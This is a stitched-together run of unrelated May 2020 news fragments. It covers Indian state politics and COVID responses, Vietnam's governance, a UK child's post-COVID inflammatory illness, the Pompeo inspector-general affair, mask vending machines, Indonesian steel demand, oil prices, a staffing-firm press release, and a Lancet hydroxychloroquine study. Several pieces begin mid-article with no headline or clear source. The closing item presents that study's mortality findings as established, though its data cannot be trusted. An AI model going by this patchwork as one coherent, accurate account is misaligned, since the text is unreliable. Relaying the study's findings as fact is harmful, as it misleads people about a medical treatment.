Another NCP leader and Social Justice Minister Dhananjay Munde accused the BJP of not being honest with Maharashtra by protesting at a time when the state is tackling the disease valiantly.

Maharashtra will never forget the treachery committed with its soil, he said on Twitter.

The Shiv Sena, in an editorial in its mouthpiece 'Saamana', said the BJP's agitation against the Thackeray-led government at the time of a health crisis will boomerang on the opposition party.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Vietnam is now one of the first countries to ease social distancing measures and reopen its society, it said.

According to the article, Vietnams state capacity was not born overnight but resulted from decades-long efforts to improve governance and responsiveness at local levels.

Data from Vietnams Provincial Competitiveness Index (PCI) and Provincial Administrative Performance Index (PAPI) showed that the Vietnamese provinces have made steady improvements in healthcare, information access, and corruption control. Access to health insurance has grown rapidly over time, with 90% of Vietnamese citizens insured today.

Taken together with the governments policy to provide mass quarantine largely free of charge, these data suggest that the Vietnamese citizens today did not have to worry about costs from COVID-19 tests, associated hospitalisation, and centralised quarantine, thereby increasing their willingness to comply with extensive contact tracing and strict quarantine measures.

Vietnams ongoing anti-graft campaign has generally received favourable responses from watchers and international audiences, it said, adding that the anti-graft campaign has also intersected with the pandemic response. The head of the Hanois Centre for Disease Control has recently been indicted on a charge of collusion to inflate COVID-19 test kit costs.

The institute stressed that transparency efforts have also mitigated skepticism towards the Vietnamese Party and States COVID-19 reporting. The Ministry of Health has posted all reported cases online, enabling deeper analysis by data scientists and bloggers, and gaining endorsement from public health experts.

Commenting on Vietnams post-pandemic growth, the article said the current strategy focuses on promoting the domestic market and repositioning Vietnam for opportunities in shifting global supply chains.

To promote Vietnams domestic market, it said the Vietnamese leaders have issued a host of relief measures, including freezing business obligations to pay costs such as retirement and life insurance contributions, providing quick-access loans for wage payments, and increasing social welfare for laid-off workers.

Vietnams leaders have put forth a plan to promote linkage in the domestic market, including in tourism, agriculture, and seafood. Among other actions, this requires reorienting businesses towards high-demand areas.

While eager to restart its economy, the country also made clear that economic revitalisation must be balanced with public health goals by imposing limited hours for businesses, crowd control, and continued enforcement of social distancing requirements. Compliance with these measures hinges on continued public trust.

The article concluded that Vietnams improving governance and central-local policy coordination have helped it weather the COVID-19 pandemic, enabling the reopening of its society and economy ahead of most peers.

Despite the clear challenges Vietnam faces, the countrys strong growth trajectory and swift COVID-19 response have positioned it to be one the worlds few economic bright spots. The World Bank projected that Vietnam will be one of few countries to experience positive economic growth in 2020, and it managed to attract US$8.6 billion in foreign investment during the first quarter of 2020. This success, however, depends upon continuing the historical trajectory of improved economic governance, including reducing corruption.
Despite what you may have heard, from the World Health Organization or World Economic Forum or wherever else, India has not done a good job of containing the coronavirus.

According to the countrys Ministry of Health and Welfare, India now has over 110,000 cases, having already surpassed the total of the only country with more people, China. The total death toll, as of this writing, stands at about 3,500. In a country of 1.3 billion people, these may seem like small numbers. But they do not actually give a full accounting of the viruss toll. Testing has been far from sufficientas of now India is reportedly conducting 100,000 tests per day, which is way more than previously but still nowhere near enough. (By early May, it hadnt even tested 1 million total people.) And as tests actually ramp up, the situation looks more dire: Over the weekend, India reported the largest number of new COVID-19 cases in the world for two days straight, and on Friday had its biggest single-day surge, with more likely to come following the wreckage left by the disastrous Cyclone Amphan. The coronavirus crisis isnt just far from overit hasnt even done its worst. Yet as of this week, India is fully pulling ahead with reopening.

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If there is one place where India can be given credit, its in the responses of some of its states and their continued concern for the welfare of their people. Kerala, for one, has received no shortage of international praise for flattening the curve early on, due to aggressiveand humanemeasures like instituting frequent testing and contact tracing, building shelters for displaced people, providing food to young students and those in need, and passing a generous economic stimulus package.

The success of the state on Indias southwest coast, and the long-standing factors that contributed to it, is certainly a bit of an anomaly. Kerala, where Communist governments have ruled for decades, has an acclaimed public health system, a highly centralized state government, and a lasting Kerala model that distributes land ownership to residents, helping ensure equity. It has the countrys highest literacy rate as well as the lowest infant and maternal mortality rates. It also has a track record of disease control success: In 2018, it managed to stop the spread of the deadly Nipah virus without any deaths.

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Overall, federalism is a messy business in India. The country is divided into 28 states, eight union territories, and one National Capital Territory (Delhi). States have their own legislatures, while union territories are controlled directly by the federal government. Certain states do have certain tasks of oversight constitutionally allotted to them, such as criminal justice, health care, sectors of industry and real estate, and specific taxes. But even the states are not as autonomous as their American equivalents.

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The ultimate control and funding these states get is dependent on the whims of the national Parliament, with borders and dynamics of power shifting sometimes drastically over time. India was initially established with strong central power due in part to the scars of separation from the Partition, but clashes between states and the national government have for a long time played a role in shaping the nation.

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The trend in recent years has been toward more federalism and somewhat reduced central national power, albeit with caveats. State governments power and ability to implement their desired laws is hampered by the financial and bureaucratic control exerted by the federal government. Yet states have persisted in standing up for themselves. Multiple regions led by the opposition Congress Party stood up to the national government in protest of the discriminatory Citizenship Amendment Act, voicing the fury channeled by millions of protesters at an official level. Some of them said they would refuse to implement the law, even though doing so would possibly be unconstitutionalhowever, it certainly would be a blow to the governments power if it didnt have state-level cooperation and consent, something these savvy leaders very well understood.

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This defiance, which had continued through this year, is now continuing with the response to the coronavirus. Kerala, Karnataka, Odisha, and other states instituted their own stay-at-home orders even before the national government took action, something they could do because of laws giving states leeway to deal with epidemics and manage disasters. Even after the national lockdown was finally set, some states still took their own initiative. Tamil Nadus government claims its state has completed more tests than any other, and West Bengal has also sharply increased its testing rate. The state of Odisha, which has been pummeled by natural disasters in the past, used its readiness infrastructure, such as cyclone shelters and equipment manufacturing facilities, to its benefit. States like Punjab have spoken out against Prime Minister Narendra Modis ban on alcohol sales, which deprives states of much-needed tax revenue. Uttar Pradesh provided financial aid and food rations to workers while also assigning some hospitals to specifically treat COVID-19. The district magistrate for the city of Bhilwara in Rajasthan helped enforce a model of contact tracing, door-to-door screening, and establishing isolation wards that caused the city reduce its number of positive cases from 26 to zero in just 10 days. And even as the national government preemptively started loosening certain restrictions in late April, Jharkhand, Uttar Pradesh, and other states made clear they would reopen at their own pace.

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Not all state actions have been uniformly positive: Maharashtra has stamped positive patients with ink to shame them into staying inside and used drones to monitor people, while Rajasthan and other states have imposed a notorious antipublic assembly law, often used to stifle protest. Still, in at least a few significant cases, states have shown their overall responses to be much more careful, humanitarian, and effective than that of the national government. As epidemiologist Ramanan Laxminarayan explained in April, the states that have spent time on building a health system, such as Tamil Nadu, Kerala, and to some extent Karnataka, but definitely Maharashtra and Punjab stood to handle the pandemic better than states that haventand this has shown, especially considering that the national government barely contributes 1 percent of GDP toward health care and has taken to peddling pseudoscience.

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As India starts a bigger reopening this week, cases are still spiking in states that have resorted to aggressive testing measures. This is good, in that the numbers may actually be trustworthy. But the whole of India has not caught on yet, and if cases continue to ramp up, this relaxing of stay-at-home and shutdown orders will be seen as extremely premature and deadly, especially in the midst of the Cyclone Amphan disaster, which has already destroyed people, homes, streets, and farmland in West Bengal and Odisha. And for all we know, Modi may continue to use his power to override state acts and use federal money to pressure them to do his bidding.

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Already, funds for states are drying up, and only the central government can provide more financing. [Modis] federal government is emerging stronger than before while states seem weaker, researcher and author Rahul Verma told Bloomberg, and in the long run that may turn out to be correct. Whats happening now in India may portend the future of its governance, as states splinter off, governmental clashes become more frequent, and the Modi administration takes advantage of the pandemic and natural disasters to further entrench its power.

But for now, it seems that some states will continue to take the opportunity to look after their people as the country reopens. We should be grateful for that.
A mother has released shocking pictures of her teen daughter fighting an inflammatory disease she believes was caused by Covid-19.

Grace Havens, 13, was hospitalised in Gloucestershire after developing a red rash, severe pain and inflamed organs.

She was later diagnosed with Henoch-Schonlein Purpura (HSP), which has similar symptoms to Kawasaki Disease.

The childhood inflammatory syndrome is a secondary condition triggered by an initial illness and up to 100 cases reported across the country since April, amid concerns it is linked to coronavirus.

Grace Havens, 13, from Cheltenham, Gloucestershire, suffered from an inflammatory illness in hospital which her mother Rachel Havens, 47, believes she developed as a result of Covid-19

After initially developing symptoms on February 28, Grace was admitted to Gloucestershire Royal Hospital after developing a rash on March 5. After losing a stone in four weeks, she was fed both nasally and through total parenteral nutrition (TPN)

Her parents, event planner Rachel Havens and psychological therapist Justin Havens, 52, believe 'fun and energetic' Grace developed Henoch-Schonlein Purpura (HSP) as a result of coronavirus. They are waiting for an antibody test to confirm this

Her mother, event planner Rachel Havens, 47, believes her daughter developed HSP as a result of Covid-19.

Rachel and her husband, psychological therapist Justin Havens, 52, are waiting for an antibody test to confirm this.

The couple from Cheltenham, Gloucestershire are speaking out to spread awareness of this possible secondary illness.

The mother-of-three said: 'I personally believe Covid-19 is responsible for the severity of it.

Doctor's initially though Grace was suffering from appendicitis after she returned from school complaining of a sore stomach and temperature in February

Mother-of-three Rachel personally believes Covid-19 is responsible for the severity of Grace's illness

'It won't change anything for Grace - at the end of the day, I believe she had it, but it's not going to change anything because we are where we are.

'I think what's happening is children are getting coronavirus mildly but it's triggering this extra awful inflammatory syndrome in them.'

'Fun and energetic' Grace returned from school complaining of a sore stomach and temperature on February 28.

Following two visits to the GP, Grace was sent to Gloucestershire Royal Hospital Children's Center with suspected appendicitis.

Children with the illness are usually taken to hospital with a high fever that has lasted a number of days and severe abdominal pain. The most seriously ill may develop sepsis-like symptoms such as rapid breathing and poor blood circulation

Doctors were unable to find a cause and sent her home before she developed a rash on March 5 and was admitted to hospital for four weeks.

Grace was given morphine, fentanyl and paracetamol for the pain while doctors treated her sickness and rash.

After losing a stone in four weeks, she was fed both nasally and through total parenteral nutrition (TPN).

She spent a further three weeks at Bristol Royal Hospital for Children after blood was found in her stool.

WHAT DO WE KNOW ABOUT THE SYNDROME? WHAT SYMPTOMS DOES IT CAUSE? The majority of the children being hospitalised with the condition have suffered from a high fever for a number of days, severe abdominal pain and diarrhoea. Some develop a rash and red eyes or red lips, while a very small group go into shock, in which the heart is affected and they may get cold hands and feet and have rapid breathing. The symptoms are similar to those caused by Kawasaki disease, a rare but treatable condition that affects around eight in every 100,000 children each year in the UK. WHEN DID OFFICIALS FIRST START TO SEE CASES? The NHS sent an alert to doctors on April 27, warning them to look out for signs of the syndrome. At the time they said cases had been appearing in tiny numbers in London for about three weeks. Since then they have spread further across the country and between 75 and 100 children are known to have been infected. IS IT CAUSED BY SARS-COV-2, THE CORONAVIRUS? Doctors are almost certain the illness is being caused by the coronavirus but they haven't yet been able to prove it. Cases began appearing as the UK's coronavirus outbreak hit its peak and similar conditions have been reported in China and Italy during the pandemic. However, not all children with the Kawasaki-like syndrome test positive for the virus. Swab testing has suggested some of the children have not been infected with COVID-19 at the time they were ill. But all patients have tested positive for antibodies, doctors said, meaning they have had the coronavirus in the past. They said this suggests it is a 'post-infectious phenomenon' which is caused by a delayed overreaction of the immune system, which may happen weeks or even up to a month after the child was infected with COVID-19. IS IT TREATABLE? Yes. All but one of the children who have been diagnosed with the syndrome have survived. The only child known to have died with it, a 14-year-old boy, died of a stroke that was triggered by the life support machine he was on. Doctors are currently treating the condition by using medications to calm down the immune system and dampen the overreaction. Dr Liz Whittaker, a paediatrician at Imperial College Healthcare in London, said the sickest children are usually very ill for four to five days and begin to recover a couple of days after starting treatment. Advertisement

Since, she's developed a chronic kidney condition called Crescentic Nephritis - her kidneys are continuing to leak high levels of protein and remain inflamed.

Rachel said: 'We are extremely grateful to the NHS for the fact that our daughter is now safe and recovering well at home.

'While we are told the majority of children will be unharmed by Covid-19, there appear to be a number who are randomly but severely affected.

'This is why I felt we should share our daughter's story, with the aim of raising awareness in the hope that as science progresses, less lives will be affected.'

Up to 100 children in the UK are known to have developed a rare inflammatory syndrome caused by COVID-19 since the beginning of April.

All the children treated for this inflammatory disease so far had been healthy before they caught the coronavirus, according to Dr Liz Whittaker.

Dr Whittaker is a paediatrician at Imperial College Healthcare in London and has herself treated children with the illness, which has been likened to Kawasaki disease.

She said they are not showing signs of 'typical' Covid-19 infection and it was not obvious why some children were worse affected than others.

Dr Whittaker said: 'To date, the children have not had underlying comorbidities [illnesses] that we have identified.

'We are gathering that information through a surveillance study that [is] happening both in the UK and internationally, but so far there isn't anything in particular that we can comment on from that perspective.'

Scientists do not fully understand how the virus affects young people and fewer than 500 children have been hospitalised because of it in Britain since the outbreak began, according to one top paediatrician.

That compares to tens of thousands of adults, many of whom have died - 12 people under the age of 20 have died with Covid-19 in England so far, out of a total of 23,953.

However, doctors revealed last week that dozens of children, most aged between five and 15 years old, have become seriously ill with the condition that seems to appear up to a month after catching the coronavirus.

They say it is extremely rare and does not appear to have directly killed anyone in Britain but can lead to intensive care for a small proportion of those who get it.

At least 18 children in London have been diagnosed with it since doctors first started noticing the syndrome last month.

Most troubling for experts is that the illness is almost definitely caused by Covid-19 in some way but scientists can't prove it.

The young patients' lungs are not affected by it, unlike in adults where the coronavirus's main target is the lungs, and many test negative when they are swabbed for the disease.

All of the patients studied so far, however, have tested positive for Covid-19 antibodies, meaning they have been exposed to the virus in the past.

Scientists now believe it could be the consequence of the immune system overreacting after it has fought off the coronavirus infection, causing a second illness weeks later.

The same illness has been seen in Italy and China and around 100 children are known to have been diagnosed with it in New York.
With the Telangana High Court showing green light for conducting Class X exams after the first week of June, the state education authorities on Friday announced the exam schedule.

As per the new schedule, the exams will be held from June 8 to July 5.

Education Minister P. Sabita Indra Reddy announced that there will be a two- day gap after each paper as suggested by the high court.

The exams will be held from 9.30 a.m. to 12.15 pm.

Acting on the courts suggestion to ensure social distancing, the department said 2,005 exam centres would be set up. This will be in addition to 2,530 centres set up earlier.

The minister said every exam centre will be sanitised and the students will be provided face masks. All candidates will be thermally screened before their entry into the exam centres.

For candidates found to be suffering from fever, cold and cough, separate rooms would be providing for writing the exams.

One student will sit on each bench in the exam hall. Students will be informed about their exam centres through their respective schools.

The Telangana State Road Transport Corporation (TSRTC) will operate special buses to ferry the students to their exam centres.

Sabita Indra Reddy said services of additional 26,422 teachers will be used as invigilators at the exam centres. It will be compulsory for them to wear masks and gloves.

She appealed to parents of the students to take care of them to ensure that they are not affected by Covid-19. On the suggestion of the High Court, the department decided to open a helpline for students and their parents.

While allowing the government to go ahead with the preparations for the exams after first week of June, the High Court on Wednesday asked it to review the situation on June 3 and submit its report to the court the next day. The government was asked not to conduct the exams if the Covid-19 situation deteriorates by then.

A division bench passed the orders on a petition filed by the state government, seeking review of the interim orders passed by the court in March and the permission to conduct the exams in May as per the revised schedule.

On March 20, the High Court had directed the state to postpone the Class X exams, scheduled for March 23 to April 6, in view of the Covid-19 outbreak.

The state had conducted the exams for three papers of the first and second languages before March 22 as per the original timetable.

The state Cabinet earlier this month decided to conduct the exams for remaining papers during May.

It moved the High Court, seeking permission for the same keeping in view the academic calendar and the interests of 5.50 lakh students.
Secretary of State Mike Pompeo pushed subordinates to come up with justifications to provide $8 billion in 'emergency' aid to Saudi Arabia that didn't already exist, and officials reported the conduct to the investigator Pompeo pushed out, according to a new report.

Pompeo, who is under fire for asking President Trump to fire State Department Steve Linick, pushed officials for the emergency designation despite votes against the arms deal in both houses of Congress.

Lawmakers in a rare rebuke had voted against providing additional sophisticated weapons to Saudi Arabia and the United Arab Emirates to carry out the brutal war in Yemen.

'I've seen the various stories that someone was walking my dog to sell arms to my dry cleaner. I mean it's all just crazy,' said Secretary of State Mike Pompeo Wednesday

Pompeo directed officials to find a workaround, sources told CNN. The administration approved the aid last May.

'They seemed to have a game plan and it had to be justified,' a State official told the network, and also communicated to the IG about it.

'The attitude was very Trumpian,' said the official. President Trump has long clashed with elements in the bureaucracy that he calls the 'deep state.'

Pompeo admitted answering written questions in one IG probe, following reports he did so in an investigation of $8 billion in U.S. arms sales to Saudi Arabia and other countries

The arms sale came amid ongoing tensions with Saudi Arabia over the murder of Adnan Khashoggi

The ousted State Department inspector general was said to have been investigating claims Mike Pompeo, pictured, made a staffer walk his dog Sherman and pick up his dry cleaning

Pompeo gave no reason why he asked President Trump to the inspector general, Steve Linick, pictured

Longtime Mike Pompeo aide Toni Porter has been identified as the government employee whose role allegedly doing personal business for the secretary of state was being probed by an inspector general

What was State Department IG pushed out by Pompeo probing? Dog walking - Linick was reportedly investigating allegations Pompeo had his longtime aide Tori Porter walk his dog, Sherman, and perform other errands. Arms sales - Pompeo admitted he answered written questions in a probe, following reports Linick investigated $8 billion in emergency arms sales to Saudi Arabia despite congressional opposition. Parties - Pompeo, who had considered a run for the Senate from Kansas, staged lavish Madison Dinners at the State Department headquarters for allies, executives, and some diplomats. Failure to report workplace violence allegations - Linick was reportedly completing an investigation of Cam Henderson, the head of state's Office of Protocol, for allegedly failing to report an alleged workplace violence situation. Hdnersons former boss, Sean Lawler, was pushed out and accused of intimidating staffers and carrying a whip. Advertisement

House Foreign Affairs Committee Chairman Eliot Engel has said the investigations is one of the areas the IG was looking into that could have brought his ouster. Linick was also revealed to be probing Pompeo's alleged use of government staff to walk his dog, Sherman, and perform other errands. He ridiculed the suggestion at a press conference this week, a day after the aide was identified as longtime advisor Toni Porter.

'I've seen the various stories that someone was walking my dog to sell arms to my dry cleaner. I mean it's all just crazy. It's all crazy stuff,' Pompeo said, conflating numerous accounts of what the IG was looking at.

The New York Times reported Thursday that Pompeo used a government jet and carved time out of travel to meet with major Republican donors, including a meeting with billionaire Charles Koch in Kansas in October. Pompeo was mulling a U.S. Senate run and is considered a potential 2024 presidential candidate.

Pompeo on Wednesday acknowledged answering written questions in an IG probe of the arms sales, which were championed by the White House and defended by President Trump.

He said he ordinarily has no access to information on what the IG is probing 'so I couldn't possibly have retaliated.'

But then Pompeo said there is 'one exception,' and referenced the arms sales probe. 'I responded to those questions with respect to a particular investigation. That was some time earlier this year as best I can recall,' he said.

'It's not possible for there to have been retaliation,' he concluded.
A New York company will install four mask vending machines at Suburban Station this week.

The machines are to be installed Tuesday outside the turnstiles, said David Edelman, cofounder of RapidMask2Go.

I think this is right in time for the expanded SEPTA schedule, which started Monday, he said. He said his vending machines and transit hubs are a natural fit because masks are a requirement to ride the trains.

 READ MORE: SEPTA Regional Rail is coming back, but many of its suburban riders are still working from home

Edelman said last month that he wanted to work with Philadelphia to bring his creation to several locations across the city.

We recognize for our cities to reopen, were going to need these masks, he said. Its not that this is your everyday mask. Its a solution for when youve gone out and forgotten your cloth mask.

Suburban Station is one of SEPTAs busiest hubs and an entry point to Philadelphia for millions of people each year, according to AthenianRazak, which has the master lease for the stations retail space.

As people begin to use SEPTA more and commute into Philadelphia for work, these machines are the perfect addition to Suburban Station, Jackie Buhn, CEO of AthenianRazak, said in a statement.

Edelman, 30, said he and a business partner thought of the idea after they struggled to buy protective masks in March and discovered they had to purchase them in bulk, which left them with a surplus. They installed their first mask vending machine on New Yorks Lower East Side in April, he said, and have since expanded to four other locations in New York City.

The vending machines operate the in the traditional way, he said, but instead of buying snacks or drinks, customers can purchase KN95 masks  the Chinese standard for masks, not the medical-grade respirators used on the front lines of the pandemic.

 READ MORE: How to stop wearing your face mask wrong

The machines accept contactless payment, he said, as well as cash and credit cards. The masks will sell for $3 this week  initially the price was $4  and the machine also dispenses hand sanitizer and wipes.

When machines were installed in 10 other locations across the country, the initial response was positive, he said.

People are excited by the machine, and at the same time disappointed that this is where were at, Edelman said. When the machines were installed in New York, I think it opened peoples eyes a bit. This is our new reality. This is how were going to get back to work.

 READ MORE: You should wear a mask in hallways and other common spaces of apartment buildings, experts say

Edelman, who works in property management and development, said he foresees masks being required everywhere from tourist destinations and concert venues to office buildings. With that in mind, he said, he is looking to install the machines in areas with high foot traffic.

In the coming weeks, Edelman said, machines are set to be installed at 13 shopping locations in New York and New Jersey. He is also in talks with two other locations in Philadelphia, a place that he said has a special significance to his family.

A University of Delaware alumnus, Edelman spent time here during college, and recently developed a greater appreciation for the citys health-care community. His 2-year-old son, Remy, gets treatment for an inflammatory condition at Childrens Hospital of Philadelphia. Because his son is on medicine that compromises his immune system, Edelman has been apart from him during the pandemic.

I have a really soft spot for Philadelphia, he said. I have insane appreciation for not just the nurses and doctors at CHOP, but nurses and doctors everywhere.

 READ MORE: How to wear face masks in hot weather

When the machines are installed Tuesday, Edelman said, RapidMask2Go will also donate a couple of thousand masks to SEPTA workers who have been on the front lines of the pandemic.
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Linkedin Yunindita Prasidya (The Jakarta Post) Jakarta  Fri, May 22, 2020 15:08 608 fc6853813033f564188675f8bd9a66db 1 Business steel-industry,plunge,demand,COVID-19,Krakatau-Steel Free

Steelmakers are facing severe blows to their business with demand during the COVID-19 pandemic having decreased by 90 percent from normal times.

The low demand is partially due to the large-scale social restrictions (PSBB) imposed by the government to contain the virus, which has led to the closure of businesses, including major steel-consuming businesses in the automotive and construction industries.

Steelmaker PT Steel Pipe Industry of Indonesia (Spindo), for example, saw demand for steel pipe products drop 30 percent in April and almost 50 percent in May.

[The drop] is very pronounced at the retail front. Theres a decrease in peoples purchasing power and businesses are holding off purchasing plans, the companys vice president director, Tedja Sukmana Hudianto, said at a steel industry roundtable event on Wednesday.

Fellow steelmaker PT Sampurna Jaya Baja reported a grimmer condition, as its sales nosedived 90 percent in May, a steeper plunge compared to losses of 50 to 60 percent in March and April.

The companys cash flow is disrupted because the majority of our clients are closed for business. This renders things difficult because if this carries on, it could threaten the continuity of the company, PT Sampurna Jaya Baja representative Raharjo Rudy Cahyono said.

State-owned company PT Krakatau Steel president director Silmy Karim, who is also the chairman of the Indonesian Iron and Steel Industry Association (IISIA), confirmed that the pandemic had crippled the nationwide demand for steel products by 50 percent.

However, he was optimistic that conditions would improve in time.

A Moodys Investors Service report published on April 7 states that the coronavirus outbreak exacerbates the already challenging operating environment for steelmakers around the world.

The broad macroeconomic weakness spreading in the wake of the pandemic is driving down demand for steel in core industries like manufacturing, automotive, construction, and oil and gas exploration, the report reads.

The steel industry is one of the countrys strategic upstream industries, as it provides raw materials for infrastructure, manufacturing, transportation and defense, among other sectors.

South East Asia Iron and Steel Institute (SEAISI) data show that steel consumption in Indonesia rose 11 percent to 15.1 million tons in 2018. However, the demand is largely served by imports from China and other countries.

This year, imports of iron and steel, accounting for 6.26 percent of Indonesias total non-oil and gas imports, dropped 23 percent year-on-year from January to March at US$2.12 billion, according to Statistics Indonesia (BPS).

With the current downturn, local steelmakers expressed worries over the inconsistent implementation of Indonesias trade barrier policy, fearing that foreign products would continue dominating the local scene.

China, for example, has continued to produce steel despite slow demand, swelling inventories and falling prices.

In response to these concerns, Dini Hanggandari, the Industry Ministrys metal industry director, said during the roundtable discussion that, in order to control imports, we have used every official tool within the World Trade Organizations corridors.

Indonesia had made it mandatory for imported steel products, such as zinc-coated steel, to comply with the national industrial standards (SNI), a policy permitted by the WTO.



Dini said the ministry had also been pushing for trade remedies to be implemented for upstream and downstream steel products.

State-Owned Enterprises Deputy Minister Budi Gunadi Sadikin urged local players in the steel industry to up their efficiency and productivity to better compete with global players.

On one hand the COVID-19 pandemic is causing dangers, but on the other hand, there are opportunities, he said.

He urged steelmakers to tap into unexplored opportunities, such as supplying the demand to produce hypodermic needles for the healthcare sector.
By Trend

Georgia and South Korea are ready to move to more concrete steps in free trade, tourism and cooperation once the pandemic is over, Georgian President Salome Zourabichvili wrote on her twitter account, Trend reports.

On May 21 Zourabichvili spoke by phone with South Korean President Moon Jae-in to discuss cooperation between the two countries, press office of the President of Georgia said.

As reported, this was the first conversation between the presidents of Georgia and South Korea since the establishment of diplomatic relations in 1992.

Zourabichvili noted Georgias good geopolitical and trade location. In turn, Moon expressed his readiness to negotiate a Georgian-South Korean free trade agreement, and facilitate negotiations between civil aviation authorities in order to launch bilateral flights.

Zourabichvili thanked Moon for 70,000 coronavirus tests that Georgia received from South Korea.

Georgia and South Korea established diplomatic relations in December 1992. Countries cooperate in the fields of tourism, trade, environmental protection and other sectors.

---

Follow us on Twitter @AzerNewsAz
By Stephanie Kelly

NEW YORK (Reuters) - Oil prices tumbled about 2% on Friday on rising U.S.-China tensions and doubts about how quickly fuel demand would recover from the coronavirus crisis.

Fuel demand plummeted in recent months as the pandemic caused governments to impose restrictions on movement and businesses closed their doors. Oil has rallied in recent days as activity started to resume.

But prices dropped after China said on Friday it would not publish an annual growth target for the first time. Beijing also pledged more government spending as the pandemic kept hammering the economy.

"The coronavirus has nullified a decade of global oil demand growth and the recovery will be slow," said Stephen Brennock of broker PVM.

Brent crude futures fell 93 cents, or 2.6%, to settle at $35.13 a barrel. U.S. West Texas Intermediate (WTI) crude ended 67 cents, or 2%, lower at $33.25 a barrel.

China is set to impose new national security legislation on Hong Kong after last year's pro-democracy unrest, a Chinese official said on Thursday, drawing a warning from President Donald Trump that Washington would react "very strongly."

For the week, Brent and WTI gained 8% and 13%, respectively, but some said they may have come too far, too fast.

"A second wave (of the coronavirus) is not such a remote possibility and a new round of lockdowns could send prices back to much lower levels very quickly, and the market knows it," said Rystad Energy senior oil markets analyst Paola Rodriguez Masiu.

Oil prices have plummeted more than 40% so far in 2020. The recent rebound was due in part to efforts by the Organization of the Petroleum Exporting Countries and allies to reduce supply. OPEC+ is reducing supply by a record 9.7 million barrels per day from May 1.

The U.S. rig count, an indicator of future output, fell by 21 to a record low 318 this week, according to energy services firm Baker Hughes Co's data going back to 1940.,

Story continues

In a sign of the glut easing, U.S. crude inventories fell last week.

Money managers raised their net long U.S. crude futures and options positions in the week to May 19 by 23,229 contracts to 380,211, the U.S. Commodity Futures Trading Commission (CFTC) said on Friday.

(Reporting by Stephanie Kelly in New York, additional reporting by Alex Lawler in London and Aaron Sheldrick in Tokyo; Editing by Marguerita Choy, Tom Brown and David Gregorio)
"Helping the people of the Central Valley community, especially during these past few challenging months, is what gives us purpose  and makes us Fresno's top employment agency year after year."

PrideStaff, a national, franchised staffing organization, is pleased to announce that their tremendously successful Fresno office was recently named winner of The Fresno Bee's 2020 People's Choice Award in the Employment Agency category for the sixth consecutive year.

For sixteen years, The Fresno Bee's People's Choice Award has served as a way for Central Valley community members to recognize and thank area businesses for their hard work. What started out as a simple contest has evolved to become a much-anticipated annual event that is part of the Fresno area's culture. Each year The Fresno Bee readers eagerly vote for their favorite employers in a wide range of business categories, and award winners are published online.

Always quick to acknowledge his team's efforts, Sean Akin, Strategic-Partner of PrideStaff Fresno, credits his entire staff for earning this mark of distinction once again. "This award is especially meaningful because it belongs to my entire staff, and it comes from our valued clients and candidates," said Akin. "Thanks to an amazingly talented and dedicated team who continually exceeds expectations, our Fresno office raises the bar each year in solving employers' workforce challenges and connecting talented people with rewarding employment.

"Helping the people of the Central Valley community, especially during these past few challenging months, is what gives us purpose  and makes us Fresno's top employment agency year after year," continued Akin. "By focusing on what clients and talent value most, our team will provide the service and solutions customers need to reopen our economy and emerge even stronger as a community."

This latest honor comes on the heels of several other awards and accolades for Sean Akin and his team. Earlier this year, PrideStaff Fresno was named PrideStaff's Office of the Year for becoming the top-performing office among the franchise's system of more than 80 locations. The Fresno office also recently won ClearlyRateds Best of Staffing Client and Talent Diamond Awards for the seventh consecutive year.

In addition, Akin was named a 2020 winner of PrideStaffs Presidents Circle Award for being one of the national staffing firm's top revenue producers for 2019, as well as their 212 Degree Award, recognizing his office for delivering the highest level of client service while expanding the reach of their office. This is the third consecutive year Akin has earned these two awards, reflecting the success of his team's continued dedication to excellent service.

About PrideStaff

PrideStaff was founded in the 1970s as 100% company-owned units and began staffing franchising in 1995. They operate over 80 offices in North America to serve over 5,000 clients and are headquartered in Fresno, CA. With over 40 years in the staffing business, PrideStaff offers the resources and expertise of a national firm with the spirit, dedication and personal service of smaller, entrepreneurial firms. PrideStaff is the only nationwide, commercial staffing firm in the U.S. and Canada with over $100 million in annual revenue to earn ClearlyRateds prestigious Best of Staffing Diamond Award seven years in a row highlighting exceptional client and talent service quality.

For more information on our services or for staffing franchise information, visit http://www.pridestaff.com.
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Linkedin (The Jakarta Post) Jakarta  Sat, May 23 2020

Light up the dark: A girl lights up an oil lamp during the tumbilotohe celebration in Gorontalo, Gorontalo on Wednesday. The celebration is a locals tradition celebrated a couple of days before Idul Fitri. (Antara/Adiwinata Solihin)

Theres no better time for Muslims to gather with their loved ones than on Idul Fitri, or Lebaran.



Every year, millions of Indonesians journey back to their hometowns to celebrate the biggest Muslim holiday with their families, some of whom they may not have seen for months or even years.



But this year, it will be a little different.



The COVID-19 outbreak and attendant restrictions are keeping people at home and away from any large gatherings to flatten the curve of infection. Both regular and seasonal businesses are also feeling the crunch.



However, the show must go on for some people.



Many traders are flouting the large-scale social restrictions (PSBB), along with hundreds of shoppers who are flocking to markets for last-minute Idul Fitri shopping to buy food and new clothes as tradition dictates.

All quiet on the seafront: A lone man disembarks a ferry on Wednesday at Merak Port in Banten. The port has seen a 98.3 percent decline in passengers making the Sumatra-Java crossing for Idul Fitri this year. (Antara/Galih Pradipta)



On the mudik (exodus) front, people are using whatever means possible to surreptitiously travel back to their hometowns in blatant disregard of emergency health protocols, including the mudik ban.



Going on mudik this year might even spread the COVID-19 virus farther afield, especially since people who carry the virus are not always symptomatic. The daily tally of infections has seen a spike in the last couple of days, despite the social restrictions that have been in place for almost two months.



The concerned public really cannot expect much from each other, though, when their leaders issue ambiguous messages and policies that are sometimes contradictory. All they can do for now is hope  and pray, as the health minister once boasted as a reason for why the pandemic had not arrived on Indonesian shores.



That premature statement  like Idul Fitri of years past that involved family reunions filled with hugging and congregational prayers at mosques on the first morning of the holiday  seems like something that occurred in an alternate reality.

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Coronavirus patients taking the anti-malarial drug, touted and taken by Trump, had higher risk of death, new study says.

Malaria drug hydroxychloroquine, which US President Donald Trump says he has been taking, is tied to increased risk of death in COVID-19 patients, according to a study published in medical journal The Lancet on Friday.

The study, which observed more than 96,000 people hospitalised with COVID-19, showed that people treated with the drug, or the closely related drug chloroquine, had a higher risk of death when compared with those who had not been given the medicine.

Demand for hydroxychloroquine, a drug approved decades ago, surged after Trump touted its use as a coronavirus treatment in early April. Earlier this week, he surprised the world by admitting he was taking the pill as preventive medicine.

The Lancet study authors suggested these treatment regimens should not be used for COVID-19 outside of clinical trials until results from clinical trials are available to confirm the safety and efficacy of the medications for COVID-19 patients.

The authors said they could not confirm if taking the drug resulted in any benefit in coronavirus patients.

